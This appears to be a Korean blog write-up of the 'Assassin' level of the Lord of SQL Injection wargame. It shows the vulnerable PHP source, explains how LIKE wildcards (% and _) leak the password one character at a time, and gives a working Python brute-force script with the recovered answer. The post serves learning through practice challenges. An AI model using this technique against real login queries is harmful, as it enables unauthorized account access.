LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Giant에 이어 Assassin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Assassin은 Giant에서 사용했던 머리를 다시금 굴려야 한다는 걸 알려주는 준비운동 문제가 아닌가 싶습니다.




 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 5번 라인에서는 싱글쿼터를 사용할 수 없습니다. 무조건 like 안에 있는 %를 추측하라는 의미입니다.

Like문은 % 혹은 _를 통해 뒤에 올 문자가 몇 개든 어떤 것이든 상관없이 맞는 결과가 있다면 다 출력하도록 되어 있습니다.


즉, 만약 비밀번호가 '90d2f'라면 like 90%까지만 입력해도 MySQL에 90으로 시작하는 비밀번호를 가진 계정을 모두 출력해야겠군..! 하면서 출력된다는 것입니다.


그렇다면 차근차근 브루투포싱을 시작해야하는데... 사람 손으로 하기에는 경우의 수가 너무 많습니다.

코드가 필요합니다.



 

 문제 풀이(코드)


제 나름대로 브루투포싱을 하는 코드를 작성해보았습니다.

코드 작성은 다음과 같은 원리를 이용했습니다.


한 글자 + %로 Hello guest 혹은 Admin이 나오는 것을 확인했습니다.

그렇게 첫 번째 문자를 알아내고, 알아낸 문자를 이용하여 한 글자씩 늘려가서 다음 글자를 찾아내도록 하였습니다.


물론 여기서는 %와 _ 문자는 필터링하여 그외의 문자들로만 검색할 수 있도록 하였습니다.


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='
headers = {'Cookie': 'PHPSESSID=4jj7vger48nj1hkalc5vcd4oi6'}

# ==============================================================
# Init Answers

Answer = []
Answer_chr = ''
Done = False

for i in range(0, 129):
    payload = chr(i) + "%" 
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if chr(i) != '%' and chr(i) != '_':
        if 'Hello guest' in res.text:
            Answer.append(chr(i))
        else:
            pass

print('[=] Find Init Words : ', Answer)


while not Done:
    tmpList = []

    for j in Answer:
        for i in range(0, 129):
            payload = j + chr(i) + "%" 
            res     = sess.get(url=URL+payload, headers=headers, verify=False)

            if chr(i) != '%' and chr(i) != '_':
                if 'Hello guest' in res.text:
                    tmpList.append(j + chr(i))
                elif 'Hello admin' in res.text:
                    print('[=] Find Last Answer : ', payload)
                    Done = True
                    break
                else:
                    pass

    if not Done:
        print('[=] Current Status : ', tmpList)

    Answer = tmpList


이 소스를 실행시키면, 한 문자를 알아내기 위해 128번씩 반복해서 패킷을 전송하여 응답 결과를 비교하게 됩니다.

만약 admin이 나타나게 되면 멈추도록 하였습니다.


결과는 다음과 같이 나왔습니다.


[=] Find Init Words :  ['9']

[=] Current Status :  ['90']

[=] Find Last Answer :  902%


답은 902%가 되겠습니다.


+ Recent posts